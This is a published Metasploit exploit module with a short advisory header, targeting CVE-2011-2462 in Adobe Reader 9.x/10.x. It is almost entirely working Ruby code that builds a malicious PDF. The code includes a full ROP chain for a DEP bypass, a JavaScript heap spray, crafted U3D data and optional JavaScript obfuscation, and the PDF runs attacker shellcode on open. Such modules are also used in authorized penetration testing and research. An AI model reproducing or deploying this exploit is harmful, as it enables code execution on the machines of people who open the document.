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Adobe Reader U3D Memory Corruption

Adobe Reader U3D Memory Corruption
Posted Jan 4, 2012
Authored by jduck, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled.

tags | exploit, arbitrary, javascript, code execution
advisories | CVE-2011-2462, OSVDB-77529
MD5 | 0b78b73d96782aa18205e750b111a977

Adobe Reader U3D Memory Corruption

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the U3D handling within
versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
The vulnerability is due to the use of uninitialized memory.

Arbitrary code execution is achieved by embedding specially crafted U3D
data into a PDF document. A heap spray via JavaScript is used in order to
ensure that the memory used by the invalid pointer issue is controlled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r',
'juan vazquez',
'jduck'
],
'References' =>
[
[ 'CVE', '2011-2462' ],
[ 'OSVDB', '77529' ],
[ 'BID', '50922' ],
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ],
[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],
[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[
# Adobe Reader 9.4.0 / XP SP3
# Adobe Reader 9.4.5 / XP SP3
# Adobe Reader 9.4.6 / XP SP3
'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
{
# gadget from icucnv36:
# mov ecx,dword ptr [eax+3Ch]
# mov eax,dword ptr [ecx]
# call dword ptr [eax+1Ch]
'Ret' => 0x4a8453c3
}
],
],
'DisclosureDate' => 'Dec 06 2011', #Needs to be checked
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
end

def exploit
# DEP bypass; uses icucnv36.dll
stack_data = [
junk,
0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
0x0c0c0c0c, # becomes esi
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
0x4a8a0000, # becomes edi
0x4a802196, # becomes esi
0x4a801f90, # becomes ebp
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
junk(4),
0x00000000, # becomes edi
0x00000002, # becomes esi
0x00000102, # becomes ebp
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
junk(5),
0x4a80a8a6, # becomes edi
0x4a801f90, # becomes esi
0x4a849038, # becomes ebp
0x4a8063a5, # pop ecx / ret
junk(5),
0x4a8a0000, # becomes ecx
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
0x4a801064, # ret for CreateFileA # ret
0x00000000, # __in LPCTSTR lpFileName
0x10000000, # __in DWORD dwDesiredAccess
0x00000000, # __in DWORD dwShareMode
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes
0x00000002, # __in DWORD dwCreationDisposition
0x00000102, # __in DWORD dwFlagsAndAttributes
0x00000000, # __in_opt HANDLE hTemplateFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileA)
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
0x4a801064, # ret for CreateFileMappingA # ret
0xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes,
0x00000040, # __in DWORD flProtect,
0x00000000, # __in DWORD dwMaximumSizeHigh,
0x00010000, # __in DWORD dwMaximumSizeLow,
0x00000000, # __in_opt LPCTSTR lpName
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
0x4a801064, # ret for MapViewOfFile # ret
0xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
0x00000022, # __in DWORD dwDesiredAccess
0x00000000, # __in DWORD dwFileOffsetHigh
0x00000000, # __in DWORD dwFileOffsetLow
0x00010000, # __in SIZE_T dwNumberOfBytesToMap
0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax {Result of MapViewOfFile}
0x4a80a7d8, # mov eax,dword ptr [eax] / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret
0x4a801f90, # pop eax / ret
0x00000034, # becomes eax # mapped at 0c0c0d8c
0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)
0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for MSVCR80!memcpy)
0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile
0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile
0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain
0x00001000 # length (memcpy param)
].flatten.pack('V*')

payload_buf = ''
payload_buf << stack_data
payload_buf << payload.encoded
escaped_payload = Rex::Text.to_unescape(payload_buf)

eip_ptr =
[
junk(3),
target.ret, # EIP
junk(7),
0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot
junk(16),
].flatten.pack('V*')

escaped_eip = Rex::Text.to_unescape(eip_ptr)

js = <<-JS

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();

function alloc(bytes) {
return padding.substr(0, (bytes - 6) / 2);
}

function spray_eip(esc_a) {
pointers_a = unescape(esc_a);
for (i = 0; i < 2000; i++) {
x[i] = alloc(0x8) + pointers_a;
y[i] = alloc(0x88) + pointers_a;
y[i] = alloc(0x88) + pointers_a;
y[i] = alloc(0x88) + pointers_a;
}
};

function spray_shellcode() {
bbb = unescape('#{escaped_payload}');
ccc = unescape("%u0c0c");
ccc += ccc;

while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;

i1 = 0x0c0c - 0x24;
ddd = ccc.substring(0, i1 / 2);

ddd += bbb;
ddd += ccc;

i2 = 0x4000 + 0xc000;
eee = ddd.substring(0, i2 / 2);

for (; eee.length < 0x40000 + 0x40000;) eee += eee;

i3 = (0x1020 - 0x08) / 2;
fff = eee.substring(0, 0x80000 - i3);

ggg = new Array();

for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
}

padding = unescape("#{escaped_eip}");
while (padding.length < 0x10000)
padding = padding + padding;

spray_shellcode();
spray_eip('%u4141');

this.pageNum = 2;
JS

js = js.gsub(/^\t\t/,'')

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

u3d = make_u3d_stream
xml = make_xml_data
pdf = make_pdf(u3d, xml, js.to_s)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end

def make_xml_data
xml = %Q|<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<ed>kapa</ed>
<config xmclns="http://www.microsoft.org/schema/xci/2.6/">
<present>
<pdf>
<version>1</version>
<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>
<interactive>1</interactive>
</pdf>
</present>
</config>
<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet>
</pageSet>
</subform>
</template>
<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet>
</pageSet>
</subform>
</template1>
<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet>
</pageSet>
</subform>
</template2>
</xdp:xdp>|

xml = xml.gsub(/^\t\t/, '')
return xml
end

def u3d_pad(str, char="\x00")
len = str.length % 4
if (len > 0)
#puts "Adding %d pad bytes" % (4 - len)
return (char * (4 - len))
end
""
end

def u3d_string(str)
([str.length].pack('v') + str)
end

def make_u3d_stream()
#
# REFERENCE:
# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
# The File format consists of these blocks:
# [File Header Block][Declaration Block][Continuation Block]
# Each block consists of (padding is used to keep fields 32-bit aligned):
# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
#
mc_name = u3d_string("CCCCBox01")
mr_name = u3d_string("Box01RX")

# build the U3D header (length will be patched in later)
hdr_data = [0,0].pack('n*') # version info
hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34

hdr = "U3D\x00"
hdr << [hdr_data.length,0].pack('VV')
hdr << hdr_data

parent_node_data =
"\x01\x00\x00\x00"+ # node count (1)
"\x00\x00"+ # name (empty)
# transform matrix
[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')


model_node_data = ""
model_node_data << mc_name
model_node_data << parent_node_data
model_node_data << mr_name
model_node_data << [1].pack('V') # Model Visibility (Front visible)
model_node = [0xffffff22,model_node_data.length,0].pack('VVV')
#model_node = [0xffffff22,0x5e,0].pack('VVV')
model_node << model_node_data

bone_weight_data = ""
bone_weight_data << mc_name
bone_weight_data << [
1, # Chain index
1, # Bone Weight Attributes (for a mesh)
0x3162123b, # Inverse Quant
0x14, # Position Count
].pack('VVNV')
# Position List
bone_weight_data << [
# 1
1, # Bone Weight Count
3, # Bone Index (no Quantized Weight)
# 2
0x55550000, # Bone Weight Count
0x4c1df36e, # Bone Index
0x0200d002, # Quantized Weight
# 3
0x95000074, # Bone Weight Count
0x66ccc357, # Bone Index
0x00000000 # Quantized Weight
].pack('VVNNNNNN')
bone_weight = [0xffffff44,0x3a,0].pack('VVV')
# We hardcode the length to match the old file.. (TODO: test if necessary)
#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
bone_weight << bone_weight_data

new_objtype1_data =
"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+
"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+
"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
#new_objtype1 = [0xffffff16,0x38,0].pack('VVV')
new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')
new_objtype1 << new_objtype1_data

shading_modifier_data = ""
shading_modifier_data << mc_name
shading_modifier_data <<
"\x02\x00\x00\x00\x00\x00\x00\x00\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"
#shading_modifier = [0xffffff45,0x23,0].pack('VVV')
shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')
shading_modifier << shading_modifier_data

new_objtype2_data =
"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+
"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+
"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
#new_objtype2 = [0xffffff16,0x30,0].pack('VVV')
new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')
new_objtype2 << new_objtype2_data

nodemod_decl = ""
nodemod_decl << model_node
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << bone_weight
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << new_objtype1
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << shading_modifier
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << new_objtype2
nodemod_decl << u3d_pad(nodemod_decl)

nodemod_decl <<
# another modifier chain?
"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+
"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
"\x00\x00"+
# clod mesh generator (declaration)
"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+
"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+
"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+
"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+
"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+
"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+
"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+
"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
# clod mesh generator (progressive mesh cont)
"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+
"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+
"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+
"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+
"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+
"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+
"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+
"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+
"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+
"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+
"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+
"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+
"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+
"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+
"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+
"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"

# build the modifier chain
chain_data = ""
chain_data << mc_name
chain_data << [0].pack('V') # type (node modifier)
chain_data << [0].pack('V') # attributes (no bounding info)
chain_data << u3d_pad(chain_data)
chain_data << [0x5].pack('V') # number of modifiers
chain_data << nodemod_decl
#modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes
modifier_chain = [0xffffff14,0x17c,0].pack('VVV')
modifier_chain << chain_data

data = ""
data << hdr
data << modifier_chain

data
end

def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj\n" % id
end

def ioRef(id)
"%d 0 R" % id
end

def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end

def make_pdf(u3d_stream, xml, js_doc)
xref = []
eol = "\x0a"
obj_end = "" << eol << "endobj" << eol

# the header
pdf = "%PDF-1.7" << eol

# filename/comment
pdf << "%" << RandomNonASCIIString(4) << eol

email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"
site = rand_text_alpha(5) + ".com"
xref << pdf.length
pdf << ioDef(1)
pdf << "<</Author (Fo)/email (#{email})/web (site)>>"
pdf << obj_end

compressed_xml = Zlib::Deflate.deflate(xml)
xref << pdf.length
pdf << ioDef(2)
pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol
pdf << "stream" << eol
pdf << compressed_xml << eol
pdf << "endstream"
pdf << obj_end

xref << pdf.length
pdf << ioDef(3)
pdf << "<</XFA " << ioRef(2) << ">>"
pdf << obj_end

xref << pdf.length
pdf << ioDef(4)
pdf << "<</Type/Catalog/Outlines " << ioRef(5)
pdf << " /Pages " << ioRef(6)
pdf << " /OpenAction " << ioRef(14)
pdf << " /AcroForm " << ioRef(3)
pdf << ">>"
pdf << obj_end

xref << pdf.length
pdf << ioDef(5) << "<</Type/Outlines/Count 0>>"
pdf << obj_end

xref << pdf.length
pdf << ioDef(6)
pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)]
pdf << obj_end

data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"
compressed_data = Zlib::Deflate.deflate(data)
xref << pdf.length
pdf << ioDef(7)
pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol
pdf << "stream" << eol
pdf << compressed_data << eol
pdf << "endstream"
pdf << obj_end

xref << pdf.length
pdf << ioDef(8)
pdf << "<</ProcSet [/PDF]>>"
pdf << obj_end

xref << pdf.length
pdf << ioDef(9)
pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]
pdf << obj_end

compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
xref << pdf.length
pdf << ioDef(10)
pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol
pdf << "stream" << eol
pdf << compressed_u3d << eol
pdf << "endstream"
pdf << obj_end

xref << pdf.length
pdf << ioDef(11)
pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"
pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10)
pdf << obj_end

xref << pdf.length
pdf << ioDef(12)
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)]
pdf << obj_end

xref << pdf.length
pdf << ioDef(13)
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]
pdf << obj_end

xref << pdf.length
pdf << ioDef(14)
pdf << "<</S/JavaScript/JS %s>>" %ioRef(15)
pdf << obj_end

compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
xref << pdf.length
pdf << ioDef(15)
pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"
pdf << "stream" << eol
pdf << compressed_js << eol
pdf << "endstream"
pdf << obj_end

# xrefs
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end

# trailer
pdf << "trailer" << eol
pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end

end

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